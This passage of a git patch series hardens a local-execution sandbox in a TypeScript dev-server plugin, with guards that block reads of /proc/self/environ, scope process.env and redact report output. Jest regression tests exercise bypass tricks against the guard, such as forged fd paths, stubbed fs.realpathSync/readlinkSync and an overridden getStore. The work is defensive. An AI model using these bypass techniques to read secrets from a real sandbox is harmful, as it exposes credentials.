throw is itself converted into a rejection rather than escaping synchronously, -// matching the Promise-returning contract every 'reject' caller (e.g. fs.promises.*) actually has. -// `shouldBlock`'s parameter type can't be tied to F's own Parameters here: at every call site -// (wrapGuardedFsFn, guardNetworkPromiseMethod, ...) F is itself still a generic, unresolved type -// parameter, and TypeScript falls back to F's `never[]` constraint rather than the concrete -// signature it's eventually instantiated with — so a narrower type would reject every real -// `shouldBlock` implementation these callers actually pass. `unknown[]` is the accepted cost: it -// stops the compiler from catching a `shouldBlock` that reads the wrong argument position, so a new -// guarded entry point whose relevant argument isn't in position 0 needs that reviewed by hand. +// Shared `this`-forwarding wrapper for any guarded entry point that calls through when +// `shouldBlock` returns false, and signals failure when it returns true. `getReal` is a lazy +// getter, not the function itself, so a runtime swap of the real implementation (a test's +// spyOn/restoreMock) is picked up on the next call instead of frozen at wrap time. 'reject' mode +// also converts a `shouldBlock` throw into a rejection, matching the Promise-returning contract +// every 'reject' caller actually has. `shouldBlock`'s parameter type is `unknown[]`, not tied to +// F's own Parameters: F is still a generic, unresolved type at every call site, so a narrower type +// would reject every real `shouldBlock` implementation these callers pass — the cost is that a new +// guarded entry point whose relevant argument isn't in position 0 needs manual review. export function makeGuardWrapper unknown>( getReal: () => F, shouldBlock: (...args: unknown[]) => boolean, @@ -47,3 +38,41 @@ export function makeGuardWrapper unknown>( }; return wrapper as unknown as F; } + +// The last argument is a function in every real call this wraps (fs.readFile/open/copyFile/cp all +// require their callback), so no other heuristic is needed to find it. +function invokeCallbackArg(args: unknown[], error: Error): void { + const maybeCallback = args[args.length - 1]; + if (typeof maybeCallback === 'function') { + // Deferred, not called synchronously: every real error-first-callback fs function reports + // failure on a later tick, and a caller relying on that ordering (e.g. attaching state right + // after the call, before the callback can possibly run) would otherwise observe this guard's + // rejection out of sequence with a real one. + process.nextTick(maybeCallback as (...cbArgs: unknown[]) => void, error); + } +} + +// For callback-style APIs whose real contract reports failure via an error-first callback, never a +// synchronous throw (fs.readFile/open/copyFile/cp) — makeGuardWrapper's 'throw' mode would break +// that contract. A `shouldBlock` throw is routed through the same callback for the same reason. +export function makeGuardCallbackWrapper unknown>( + getReal: () => F, + shouldBlock: (...args: unknown[]) => boolean, + blockedMessage: string, +): F { + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + let blocked: boolean; + try { + blocked = shouldBlock(...args); + } catch (error) { + invokeCallbackArg(args, error instanceof Error ? error : new Error(String(error))); + return undefined; + } + if (!blocked) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + invokeCallbackArg(args, new Error(blockedMessage)); + return undefined; + }; + return wrapper as unknown as F; +} diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index 67616398f..94cd6973e 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -717,6 +717,47 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/timed out after 50ms/); }); + // Regression test: a zombie scope (fn() that never settles) previously left + // process.report.excludeEnv armed forever, since its own finally block never ran to decrement + // activeScopeCount and nothing else discharged it — see abandonExecutionAndRejectWith's own + // forceResetEnv() call. + test('Should restore process.report.excludeEnv to its pre-scope value after a zombie execution is abandoned, not leave it armed forever', async () => { + const excludeEnvDescriptor = Object.getOwnPropertyDescriptor(process.report, 'excludeEnv'); + process.report.excludeEnv = false; + try { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => new Promise(() => {}) }), + mockLogger, + 20, + ), + ).rejects.toThrow(/timed out after 20ms/); + + // Lets abandonExecutionAndRejectWith's fire-and-forget getEnvGuard().then(forceResetEnv) + // settle before the next scope starts. + await new Promise((resolve) => setTimeout(resolve, 0)); + + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'ok' }), + mockLogger, + ); + + expect(process.report.excludeEnv).toBe(false); + } finally { + if (excludeEnvDescriptor) { + Object.defineProperty(process.report, 'excludeEnv', excludeEnvDescriptor); + } + } + }); + // Proves the hang-detection timer only fires for a genuinely stuck execution, not for a legitimate in-flight $.Actions call that's still comfortably within its budget. test('Should resolve normally when a legitimate in-flight $.Actions call finishes well within the timeout, without the hang-detection timer misfiring', async () => { const executeAction: ExecuteAction = jest.fn( @@ -815,8 +856,8 @@ describe('local-execution — executeScriptLocally', () => { mockLogger, 50, ); - // Enqueued behind hungExecution — if the fix didn't bound the - // stalled $.Actions call, this would never get a turn either. + // Enqueued behind hungExecution — proves the stalled $.Actions call doesn't block the + // queue for later executions. const queuedNext = executeScriptLocally( func, TEST_PROJECT_ROOT, @@ -883,10 +924,10 @@ describe('local-execution — executeScriptLocally', () => { } }); - // Regression test: the absolute ceiling used to be a single fixed window from execution - // start, so two genuinely healthy sequential calls (each individually within bounds) could - // still sum past it. Re-arming the ceiling on each new call fixes that without weakening the - // hang protection above, which relies on the call never re-arming it at all. + // The absolute ceiling re-arms on each new $.Actions call — without that, two genuinely + // healthy sequential calls (each individually within bounds) could still sum past a single + // fixed window from execution start. This doesn't weaken the hang protection above, which + // relies on the call never re-arming it at all. test('Should not reject a function whose sequential $.Actions calls each individually stay within the absolute ceiling but sum past it', async () => { jest.useFakeTimers(); try { @@ -1708,7 +1749,8 @@ describe('local-execution — executeScriptLocally', () => { expect(executeAction).not.toHaveBeenCalled(); }); - // Mirrors the raw $.Actions path's malicious-toJSON() test — the action-catalog typed-wrapper path needed its own serialize-before-runAllowed fix since it doesn't share code with makeActionsProxy. + // Mirrors the raw $.Actions path's malicious-toJSON() test: the action-catalog typed-wrapper + // path doesn't share code with makeActionsProxy, so it needs the same coverage separately. test("Should block a malicious toJSON() on an action-catalog typed-wrapper call's request from making a real network call under cover of the exemption", async () => { jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); let registeredImpl: diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index a25d77dec..8ce1fac08 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -229,18 +229,13 @@ export type LoadModule = (specifier: string) => Promise> /** * Loads a customer module under the same top-level-evaluation `$`-scoping `runScriptLocally` uses * (see `customerModuleLoadContext`) — for callers like dev-server.ts's priming load that trigger - * real top-level evaluation ahead of `executeScriptLocally`. Also scopes `process.env` for this - * load: `getEnvGuard()` installs env-guard.ts's fs/process.report monkeypatches as a side effect of - * the import, before `loadModule` ever runs a customer file — otherwise a dependency's top-level - * code could capture a reference to the real, unwrapped `fs.readFileSync` and use it later, bypassing - * the guard for the rest of the session regardless of when the guard is "active." Accepted residual - * gap: this load still runs outside network-guard.ts's `runBlocked` scope (only the exported - * function's own body is wrapped there, not module-level evaluation), so a customer file's top-level - * code has real, unguarded network/subprocess access — matches this file's own network-guard.ts's - * "no OS sandbox" framing, not a hard security boundary. Awaits `getNetworkGuard()` first — the sole - * choke point every caller funnels through — so network-guard.ts's `trustedStdout`/`trustedStderr` - * capture (see that file) always happens before this unguarded window, not just before a later - * `runBlocked` call. + * real top-level evaluation ahead of `executeScriptLocally`. Also scopes `process.env`, since + * `getEnvGuard()` must install env-guard.ts's monkeypatches before `loadModule` ever runs a + * customer file, or a dependency's top-level code could capture a reference to the real, + * unwrapped `fs.readFileSync` and bypass the guard for the rest of the session. Accepted residual + * gap: this load still runs outside network-guard.ts's `runBlocked` scope, so a customer file's + * top-level code has real, unguarded network/subprocess access — not a hard security boundary, + * matching this file's "no OS sandbox" framing. */ export async function loadCustomerModuleEntry( loadModule: LoadModule, @@ -785,17 +780,18 @@ async function runScriptLocally( blockedScope?.abandonIfCurrent(); }; - // Promise.race abandons a hung fn rather than cancelling it, so its own runBlocked/ - // runWithScopedEnv calls never reach their finally. abandonBlockedScope() only clears this - // scope's own network-guard handle if it's still current (see its own comment above) — the - // block itself stays enforced regardless, since blockedContext (an AsyncLocalStorage) keeps - // scoping the abandoned continuation on its own. env-guard.ts's process.env scoping is the same - // shape (its own AsyncLocalStorage, scopedEnvContext) — nothing needs forcing here, since an - // abandoned execution's continuation stays correctly bound to its own scope regardless of - // whatever a newer execution does with its own, separate scope. Shared by both timeout paths. + // process.env's own AsyncLocalStorage scoping needs no forcing here, unlike + // process.report.excludeEnv's activeScopeCount below: it keeps the abandoned continuation bound + // to its own scope regardless of what a newer execution does with its own, separate scope. + // excludeEnv is a global counter, not AsyncLocalStorage-scoped, so a zombie's finally never + // running would leave it armed forever — forceResetEnv() is a no-op if this call never reached + // runWithScopedEnv in the first place, so it's safe to call unconditionally here. const abandonExecutionAndRejectWith = (error: Error) => { concludeExecution(); abandonBlockedScope(); + getEnvGuard() + .then(({ forceResetEnv }) => forceResetEnv()) + .catch(() => undefined); rejectTimeout?.(error); }; @@ -909,8 +905,7 @@ async function runScriptLocally( // Nests runBlocked (network/subprocess) with runWithScopedEnv (process.env) for // the same window — independent globals, so nesting order doesn't matter. // assertJsonSerializable runs inside both, since a malicious result's - // toJSON()/getter must run while access is still blocked/scoped. Loaded - // concurrently: neither guard's dynamic import depends on the other's result. + // toJSON()/getter must run while access is still blocked/scoped. const networkGuardPromise = getNetworkGuard(); const envGuardPromise = getEnvGuard(); const [{ runBlocked }, { buildScopedEnv, runWithScopedEnv }] = @@ -920,14 +915,11 @@ async function runScriptLocally( const data = await runWithScopedEnv(scopedEnv, () => runBlocked( async () => { - // Both adapters are stable and idempotent to re-register, so no - // coordination is needed between them or across executions. - // Registered here, inside the same env/network scope as the customer - // function itself (not before it, alongside the guard imports above): - // their loadModule() calls resolve real npm packages a customer - // project could itself declare, and that package's own top-level code - // would otherwise run with the real, unscoped environment and - // unblocked network on its first load in the process. + // Both adapters are stable and idempotent to re-register. Registered + // here, inside the same env/network scope as the customer function + // itself, since their loadModule() calls resolve real npm packages a + // customer project could declare, whose top-level code would + // otherwise run with the real, unscoped environment and network. const actionCatalogRegistration = registerActionCatalogIfInstalled( loadModule, projectRoot, @@ -943,10 +935,9 @@ async function runScriptLocally( actionCatalogRegistration, backendRuntimeRegistration, ]); - // Registration's own loadModule() calls can themselves take long - // enough to cross the timeout, same reasoning as the guard imports' - // own checks above — the customer function must never run once - // already abandoned, even if only the cumulative delay crossed it. + // Registration's loadModule() calls can themselves take long enough + // to cross the timeout — the customer function must never run once + // already abandoned. rejectIfAbandoned(); const result = await fn(...args); return assertJsonSerializable(result, func); diff --git a/packages/plugins/apps/src/vite/shared-module-singleton.test.ts b/packages/plugins/apps/src/vite/shared-module-singleton.test.ts index ea9487ca1..ae30fc4da 100644 --- a/packages/plugins/apps/src/vite/shared-module-singleton.test.ts +++ b/packages/plugins/apps/src/vite/shared-module-singleton.test.ts @@ -72,6 +72,23 @@ describe('shared-module-singleton — getOrCreateShared', () => { expect(factoryCallCount).toBe(1); }); + test('Should not treat an inherited symbol on the prototype chain as already installed', () => { + const proto: Record = {}; + const hostModule = Object.create(proto); + const symbol = Symbol.for('inherited-key'); + proto[symbol] = 'inherited value, not an own property'; + + let factoryCallCount = 0; + const value = getOrCreateShared(hostModule, 'inherited-key', () => { + factoryCallCount += 1; + return { own: true }; + }); + + expect(factoryCallCount).toBe(1); + expect(value).toEqual({ own: true }); + expect(Object.prototype.hasOwnProperty.call(hostModule, symbol)).toBe(true); + }); + test('Should store the value as non-configurable and non-writable, so no caller can swap or delete it', () => { const hostModule = {}; getOrCreateShared(hostModule, 'my-key', () => ({ id: 'original' })); diff --git a/packages/plugins/apps/src/vite/shared-module-singleton.ts b/packages/plugins/apps/src/vite/shared-module-singleton.ts index e0ae594b8..5119f3c10 100644 --- a/packages/plugins/apps/src/vite/shared-module-singleton.ts +++ b/packages/plugins/apps/src/vite/shared-module-singleton.ts @@ -5,20 +5,17 @@ /** * Stashes a value on a stable Node core module (e.g. `fs`, `net`) keyed by `Symbol.for(key)`, so * every re-evaluation of a guard file (bundled copies, Jest's per-test-file isolation) resolves the - * SAME instance instead of populating its own private one — used by env-guard.ts and - * network-guard.ts, both of which need one shared AsyncLocalStorage/state object across every - * evaluation of themselves. `factory` runs at most once per key; `Symbol.for`, not `Symbol()`, so a - * second evaluation recognizes the first evaluation's own installed value instead of minting its own - * separate slot. Non-configurable/non-writable so no code holding a reference to `hostModule` can - * swap in a fake value and disable every consumer of it at once. + * same instance instead of populating its own private one. `Symbol.for`, not `Symbol()`, so a + * second evaluation recognizes the first evaluation's installed value. Non-configurable/ + * non-writable so no code holding a reference to `hostModule` can swap in a fake value. */ export function getOrCreateShared(hostModule: object, key: string, factory: () => T): T { const symbol = Symbol.for(key); - const registry = hostModule as unknown as Record; - // An existence check, not a falsy check (`!registry[symbol]`): a factory whose T legitimately - // produces a falsy value (0, false, '', null) would otherwise never be recognized as already - // installed, and a second call would attempt to redefine an already configurable:false property. - if (!(symbol in registry)) { + const registry = hostModule as Record; + // An own-property check, not `in` (which walks the prototype chain — an inherited symbol would + // short-circuit this as already-installed) or a falsy check (`!registry[symbol]`, which misses a + // legitimately falsy factory result and re-defines an already configurable:false property). + if (!Object.prototype.hasOwnProperty.call(registry, symbol)) { Object.defineProperty(registry, symbol, { value: factory(), writable: false, diff --git a/packages/tests/src/_jest/helpers/env.test.ts b/packages/tests/src/_jest/helpers/env.test.ts index 8e2bfcb7b..7f10b1849 100644 --- a/packages/tests/src/_jest/helpers/env.test.ts +++ b/packages/tests/src/_jest/helpers/env.test.ts @@ -3,8 +3,7 @@ // Copyright 2019-Present Datadog, Inc. // Side-effect-only import: installs env-guard.ts's process.env Proxy before this file's own -// describe blocks run, matching the exact precondition installFakeProcessEnv runs under in its -// real consumers (env-guard.test.ts, local-execution.test.ts both import env-guard.ts directly). +// describe blocks run, matching the precondition installFakeProcessEnv's real consumers run under. import '@dd/apps-plugin/vite/env-guard'; import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; @@ -25,4 +24,8 @@ describe('installFakeProcessEnv — after the fake baseline describe block finis test('Should have restored the real environment value, not left it stranded at the fake baseline', () => { expect(process.env.QA_RESTORE_MARKER).toBe('the-real-value-must-survive'); }); + + afterAll(() => { + delete process.env.QA_RESTORE_MARKER; + }); }); diff --git a/packages/tests/src/_jest/helpers/env.ts b/packages/tests/src/_jest/helpers/env.ts index 7aa79b7f8..2ec882b22 100644 --- a/packages/tests/src/_jest/helpers/env.ts +++ b/packages/tests/src/_jest/helpers/env.ts @@ -102,12 +102,9 @@ export const cleanEnv = () => { * restoring the real environment once every test in the file finishes. Call this from a describe * body — it registers its own beforeAll/afterAll (and, with `resetBetweenTests`, afterEach) hooks. * - * Captured/swapped inside beforeAll (Jest "run time", after this file's own setupFilesAfterEnv - * hooks like cleanEnv() have already stripped real secrets from process.env) rather than as a - * describe-body constant (Jest "collection time", which runs before any beforeAll fires and would - * still capture the real, unstripped environment). Tests that assert on process.env directly would - * otherwise risk a failing assertion's Jest diff serializing whatever the real environment holds at - * that point; swapping in `baseline` first means a failure can only ever leak a placeholder value. + * Captured/swapped inside beforeAll, not as a describe-body constant: a describe body runs at + * Jest's "collection time", before any beforeAll fires, and would still capture the real, + * unstripped environment — risking a failing assertion's Jest diff serializing real secrets. */ export const installFakeProcessEnv = ( baseline: NodeJS.ProcessEnv, @@ -117,18 +114,19 @@ export const installFakeProcessEnv = ( beforeAll(() => { // A value snapshot via spread, not a reference to process.env itself: process.env may - // already be a guard-installed accessor by this point (e.g. env-guard.ts's Proxy), and - // restoring via that same reference later gets treated as a no-op self-reassignment by the - // guard's own setter (the exact check that stops a captured-and-written-back reference from - // recursing) — permanently stranding process.env at `baseline` instead of restoring the - // real environment for every test file that runs afterward in the same Jest worker. + // already be a guard-installed accessor (e.g. env-guard.ts's Proxy), and restoring via + // that same reference later is treated as a no-op self-reassignment by its own setter, + // permanently stranding process.env at `baseline`. realProcessEnvSnapshot = { ...process.env }; - process.env = baseline; + process.env = { ...baseline }; }); if (options?.resetBetweenTests) { + // A fresh copy each time, not the caller's own `baseline` reference: a test that mutates + // process.env by property (`process.env.KEY = x`) instead of reassignment would otherwise + // corrupt `baseline` itself, silently defeating every later reset in the same block. afterEach(() => { - process.env = baseline; + process.env = { ...baseline }; }); } From 3ee9b4be306f2f0d4a2ce96d95d598d2e163ae6c Mon Sep 17 00:00:00 2001 From: Tiffany Trinh Date: Thu, 10 Sep 2026 18:28:07 -0400 Subject: [PATCH 5/7] fix(apps): close env-guard bypasses via mutable getStore/fs helpers, a self-assignment no-op, and unredacted writeReport output Closes three review findings on the process.env scoping guard: - currentEnv() and the environ-path checks resolved through AsyncLocalStorage.prototype.getStore and fs.realpathSync/readlinkSync dynamically, so a backend function could replace any of them to defeat scope detection or the forged-path check. Native references are now captured and bound at module load, before any customer code runs. - process.env's self-assignment branch (`process.env = capturedProxy`) was a silent no-op, breaking the standard capture/swap/restore pattern. A history stack now pops the pre-swap value on self-assignment, correctly supporting arbitrarily nested save/restore. - writeReport() with an explicit filename let Node persist the real, unredacted report to disk before it was read back and rewritten. The redacted content is now built and written directly for that case, closing the window where the real environment briefly exists on disk. --- .../plugins/apps/src/vite/env-guard.test.ts | 126 ++++++++++++++++-- packages/plugins/apps/src/vite/env-guard.ts | 61 +++++++-- 2 files changed, 164 insertions(+), 23 deletions(-) diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts index f7c7bc03e..fbf1561cf 100644 --- a/packages/plugins/apps/src/vite/env-guard.test.ts +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -16,6 +16,20 @@ afterEach(() => { forceResetEnv(); }); +// The guard's own realpathSync/readlinkSync checks use references captured once at module load, +// immune to a jest.spyOn() applied afterward — that's the whole point (see env-guard.ts's own +// comment on nativeRealpathSync/nativeReadlinkSync). A test that needs its mock to reach those +// checks has to force a fresh module evaluation, via the same jest.isolateModules() + require() +// pattern already used above, AFTER installing the spy — sharedState (env scoping, activeScopeCount) +// still converges on the one real fs-keyed instance, so the top-level imported runWithScopedEnv/ +// fs.promises.* continue to work unchanged; only the native captures are freshly re-read. +function reEvaluateEnvGuardWithCurrentMocks(): void { + jest.isolateModules(() => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + require('./env-guard'); + }); +} + describe('env-guard', () => { installFakeProcessEnv({ PATH: '/usr/bin', @@ -28,11 +42,12 @@ describe('env-guard', () => { // Captured in beforeAll, not as a describe-body constant: a describe body runs at Jest's // "collection time", before the outer beforeAll has swapped process.env to the fake // baseline, so a plain `const originalEnv = process.env` here would still capture the real, - // unswapped environment. A value snapshot via spread, not a reference to the Proxy itself, - // since restoring via that same reference is a no-op under the Proxy's own setter guard. + // unswapped environment. The Proxy reference itself, not a value-snapshot copy: restoring via + // a copy is a genuine reassignment (pushed onto realEnvHistory) rather than the self-assignment + // pop that undoes each test's own swap — a copy would leave every test's push unbalanced. let originalEnv: typeof process.env; beforeAll(() => { - originalEnv = { ...process.env }; + originalEnv = process.env; }); afterEach(() => { @@ -264,16 +279,21 @@ describe('env-guard', () => { // process.env wholesale after this module first loads; the guard must treat whatever it // currently is as the new real fallback rather than silently going stale and unguarded. test('Should adopt a wholesale process.env reassignment as the new real fallback, not a stale one', async () => { + const originalEnv = process.env; process.env = { PATH: '/reassigned', SOME_NEW_VAR: 'set-after-reassignment' }; - const seenPath = await runWithScopedEnv( - { PATH: '/scoped' }, - async () => process.env.PATH, - ); - expect(seenPath).toBe('/scoped'); + try { + const seenPath = await runWithScopedEnv( + { PATH: '/scoped' }, + async () => process.env.PATH, + ); + expect(seenPath).toBe('/scoped'); - expect(process.env.PATH).toBe('/reassigned'); - expect(process.env.SOME_NEW_VAR).toBe('set-after-reassignment'); + expect(process.env.PATH).toBe('/reassigned'); + expect(process.env.SOME_NEW_VAR).toBe('set-after-reassignment'); + } finally { + process.env = originalEnv; + } }); // Without this, a customer function could do `process.env = {...}` from inside its own @@ -311,22 +331,48 @@ describe('env-guard', () => { expect(() => process.env.PATH).not.toThrow(); }); + // A single-level self-assignment can't tell a real restore from a no-op that happens to leave + // realEnv unchanged. Nesting two swaps proves the restore is a genuine pop, not a no-op: the + // inner self-assignment must bring back the outer swap's value, not the original real env or + // the value stuck from the inner swap. + test('Should restore the correct intermediate value when process.env is captured, swapped, and restored twice, nested', () => { + const originalPath = process.env.PATH; + const outerCaptured = process.env; + process.env = { PATH: '/outer-swap' } as NodeJS.ProcessEnv; + const innerCaptured = process.env; + process.env = { PATH: '/inner-swap' } as NodeJS.ProcessEnv; + + expect(process.env.PATH).toBe('/inner-swap'); + process.env = innerCaptured; + expect(process.env.PATH).toBe('/outer-swap'); + process.env = outerCaptured; + expect(process.env.PATH).toBe(originalPath); + }); + // Reflect.get throws for a non-object value, and isEnvProxy() is the setter's first check on // whatever gets assigned — without its own object/null guard, `process.env = null` (or // undefined) would surface as an unhandled native TypeError instead of either this file's own // clear rejection message (from inside a scope) or a graceful no-op (from outside one). test('Should not throw a native TypeError when process.env is reassigned to null or undefined', () => { - const before = process.env; - + // Each reassignment restored individually, not both bundled under one final restore: + // each is its own real reassignment, and a single self-assignment only undoes the one + // immediately before it. + const beforeNull = process.env; try { expect(() => { process.env = null as unknown as NodeJS.ProcessEnv; }).not.toThrow(); + } finally { + process.env = beforeNull; + } + + const beforeUndefined = process.env; + try { expect(() => { process.env = undefined as unknown as NodeJS.ProcessEnv; }).not.toThrow(); } finally { - process.env = before; + process.env = beforeUndefined; } }); @@ -480,6 +526,7 @@ describe('env-guard', () => { expect(linkPath).toBe('/proc/self/fd/99'); return '/proc/self/environ'; }); + reEvaluateEnvGuardWithCurrentMocks(); const fakeHandle = { fd: 99 } as unknown as Parameters[0]; try { @@ -572,6 +619,7 @@ describe('env-guard', () => { expect(linkPath).toBe('/proc/self/fd/99'); return '/proc/self/environ'; }); + reEvaluateEnvGuardWithCurrentMocks(); try { await runWithScopedEnv({ PATH: '/scoped' }, async () => { @@ -805,6 +853,7 @@ describe('env-guard', () => { expect(linkPath).toBe('/proc/self/fd/99'); return '/proc/self/environ'; }); + reEvaluateEnvGuardWithCurrentMocks(); try { await runWithScopedEnv({ PATH: '/scoped' }, async () => { @@ -818,6 +867,32 @@ describe('env-guard', () => { } }); + // Regression coverage for a same-call bypass: replacing fs.realpathSync/readlinkSync from + // inside a scope must not defeat a read that same call makes — the guard has to keep using + // the reference captured at module load, not the live, tampered fs methods. + test('Should keep blocking a forged path even when a backend function replaces fs.realpathSync/readlinkSync from inside its own scope', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const realpathSyncSpy = jest + .spyOn(fs, 'realpathSync') + .mockReturnValue( + '/some/benign/path' as unknown as ReturnType, + ); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockReturnValue( + '/some/benign/path' as unknown as ReturnType, + ); + try { + expect(() => fs.readFileSync('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + } finally { + realpathSyncSpy.mockRestore(); + readlinkSyncSpy.mockRestore(); + } + }); + }); + test('Should not block reading /proc/self/environ once the scoped-env window has closed', async () => { await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); @@ -839,6 +914,7 @@ describe('env-guard', () => { error.code = 'EACCES'; throw error; }); + reEvaluateEnvGuardWithCurrentMocks(); try { await runWithScopedEnv({ PATH: '/scoped' }, async () => { @@ -860,6 +936,7 @@ describe('env-guard', () => { error.code = 'EACCES'; throw error; }); + reEvaluateEnvGuardWithCurrentMocks(); try { await runWithScopedEnv({ PATH: '/scoped' }, async () => { @@ -1134,6 +1211,29 @@ describe('env-guard', () => { } }); + // Regression coverage: an explicit filename is written directly via getReport(), never read + // back off disk — the read-back-and-rewrite approach the no-fileName branch still uses has a + // real window where the unredacted file exists on disk. Absence of fs.readFileSync is what + // distinguishes the two; the final-content-only test above would pass under either. + test('Should never read the report file back off disk for an explicit filename, proving the redacted content is written directly rather than read-back-and-rewritten', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-report-direct-${process.pid}.json`); + const readFileSyncSpy = jest.spyOn(fs, 'readFileSync'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.report.writeReport(tmpFile); + }); + + expect(readFileSyncSpy).not.toHaveBeenCalledWith(tmpFile, expect.anything()); + const written: { environmentVariables?: unknown } = JSON.parse( + fs.readFileSync(tmpFile, 'utf8'), + ); + expect(written.environmentVariables).toBeUndefined(); + } finally { + readFileSyncSpy.mockRestore(); + fs.rmSync(tmpFile, { force: true }); + } + }); + // Regression coverage: if a zombie scope's runWithScopedEnv finally fires AFTER // forceResetEnv() already zeroed activeScopeCount (the ordering a test harness's afterEach // produces against a scope deliberately left open), an unclamped decrement drives the count diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts index d4af9f5e6..fed70fc44 100644 --- a/packages/plugins/apps/src/vite/env-guard.ts +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -13,6 +13,13 @@ import { fileURLToPath } from 'url'; import { makeGuardCallbackWrapper, makeGuardWrapper } from './guarded-wrapper'; import { getOrCreateShared } from './shared-module-singleton'; +// Captured at module load — before any customer code runs — so a backend function can't replace +// fs.realpathSync/readlinkSync with a benign-path stub and read /proc/self/environ through this +// file's own already-wrapped fs.readFileSync, whose forged-path check would otherwise consult the +// tampered, live fs methods instead of these frozen references. +const nativeRealpathSync = fs.realpathSync; +const nativeReadlinkSync = fs.readlinkSync; + // Scopes process.env to a from-scratch allowlist during local execution — production isolates // each execution in its own Deno subprocess with --allow-env, but local execution has no process // boundary, so this also blocks the /proc/.../environ backing-store bypass on Linux that swapping @@ -83,6 +90,11 @@ export function buildScopedEnv(customCredentials: Record): Recor interface SharedEnvGuardState { scopedEnvContext: AsyncLocalStorage>; realEnv: NodeJS.ProcessEnv; + // Pushed by the process.env setter before each non-proxy reassignment, popped (restoring + // realEnv) when the proxy itself is assigned back — implements `const saved = process.env; + // ...; process.env = saved;` correctly for arbitrarily nested save/restore, not just a no-op + // that leaves realEnv stuck at whatever the swap set it to. + realEnvHistory: NodeJS.ProcessEnv[]; activeScopeCount: number; savedExcludeEnv: boolean | undefined; // Bumped by forceResetEnv() so a zombie scope's delayed finally can detect it was forcibly @@ -107,6 +119,7 @@ function getSharedState(): SharedEnvGuardState { return getOrCreateShared(fs, '@dd/apps-plugin/env-guard shared-state', () => ({ scopedEnvContext: new AsyncLocalStorage>(), realEnv: process.env, + realEnvHistory: [], activeScopeCount: 0, savedExcludeEnv: undefined, resetEpoch: 0, @@ -117,6 +130,12 @@ function getSharedState(): SharedEnvGuardState { const sharedState = getSharedState(); +// Bound at module load — before any customer code has had a chance to run — so a later +// `AsyncLocalStorage.prototype.getStore = () => undefined` from inside a backend function can't +// make every scoped lookup fall through to sharedState.realEnv. Every scope check below calls this +// instead of sharedState.scopedEnvContext.getStore() directly. +const nativeGetStore = AsyncLocalStorage.prototype.getStore.bind(sharedState.scopedEnvContext); + // Symbol.for(), not a plain Symbol() or object-identity check — same cross-module-instance reasoning // as getSharedState() above: a reference-identity check would fail to recognize another evaluation's // already-installed Proxy as "already one of these," and each would wrap the other's, looping the @@ -134,7 +153,7 @@ function isEnvProxy(value: unknown): boolean { } function currentEnv(): Record | NodeJS.ProcessEnv { - return sharedState.scopedEnvContext.getStore() ?? sharedState.realEnv; + return nativeGetStore() ?? sharedState.realEnv; } // Shared by every Proxy trap below that does nothing but forward to currentEnv() with no extra @@ -154,7 +173,7 @@ function forwardToCurrentEnv( // keeps working exactly as before, even while some OTHER, unrelated scope happens to be // concurrently active. function assertNotInsideActiveScope(errorMessage: string): void { - if (sharedState.scopedEnvContext.getStore() !== undefined) { + if (nativeGetStore() !== undefined) { throw new Error(errorMessage); } } @@ -215,17 +234,21 @@ function ensureEnvProxyInstalled(): void { enumerable: true, get: () => proxy, set: (newValue: NodeJS.ProcessEnv) => { - // A no-op: something captured process.env (getting this same proxy back, e.g. a test's - // own `const saved = process.env; ...; process.env = saved;` restore pattern) and wrote - // it back unchanged. Must short-circuit before the realEnv assignment below — adopting - // the proxy as its own currentEnv() fallback would make every future unscoped read - // resolve back through this same trap, recursing forever. + // Self-assignment: something captured process.env (getting this same proxy back, e.g. + // a test's own `const saved = process.env; ...; process.env = saved;` restore pattern) + // and wrote it back. Popping realEnvHistory — rather than a no-op — actually restores + // the pre-swap value; adopting the proxy itself as realEnv instead would make every + // future unscoped read recurse back through this same trap forever. if (isEnvProxy(newValue)) { + if (sharedState.realEnvHistory.length > 0) { + sharedState.realEnv = sharedState.realEnvHistory.pop() as NodeJS.ProcessEnv; + } return; } assertNotInsideActiveScope( "Reassigning process.env is not allowed in backend functions — it would corrupt the dev server's real environment for every future execution. Use $.Source or a declared Custom Credential instead.", ); + sharedState.realEnvHistory.push(sharedState.realEnv); sharedState.realEnv = newValue; }, }); @@ -268,7 +291,7 @@ function toPathString(rawPath: unknown): string | undefined { // path. Only ENOENT falls back to "not path-like"; any other failure (EACCES, ELOOP, ...) // is re-thrown rather than treating an unverifiable fd as safe. try { - return fs.readlinkSync(`/proc/self/fd/${rawPath}`); + return nativeReadlinkSync(`/proc/self/fd/${rawPath}`); } catch (error) { if (isErrnoException(error) && error.code === 'ENOENT') { return undefined; @@ -291,7 +314,7 @@ function isEnvironPath(rawPath: unknown): boolean { // as a safe path — the real fs call would hit the identical error anyway. let resolvedPath: string; try { - resolvedPath = fs.realpathSync(pathString); + resolvedPath = nativeRealpathSync(pathString); } catch (error) { if (isErrnoException(error) && error.code === 'ENOENT') { resolvedPath = nodePath.posix.normalize(pathString); @@ -313,7 +336,7 @@ const ENVIRON_READ_BLOCKED_MESSAGE = function 